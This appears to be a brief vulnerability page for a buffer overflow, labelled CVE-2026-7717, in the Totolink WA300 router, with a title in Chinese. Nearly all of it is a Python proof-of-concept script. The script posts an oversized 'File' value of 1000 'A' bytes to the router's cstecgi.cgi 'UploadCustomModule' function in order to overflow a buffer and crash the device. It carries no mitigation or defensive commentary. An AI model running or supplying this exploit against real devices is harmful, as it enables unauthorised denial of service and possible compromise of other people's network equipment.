CVE-2026-7717 Totolink WA300缓冲区溢出漏洞

import requests # Target configuration target = "http://192.168.1.1/cgi-bin/cstecgi.cgi" # Vulnerable parameter: File # Constructing a payload to trigger buffer overflow # Adjust the length based on specific buffer size analysis payload = b"A" * 1000 data = { "function": "UploadCustomModule", "File": payload } headers = { "Content-Type": "application/x-www-form-urlencoded" } try: # Sending the malicious POST request response = requests.post(target, data=data, headers=headers, timeout=5) print(f"Request sent, status code: {response.status_code}") print(response.text) except Exception as e: print(f"Connection failed or device crashed: {e}")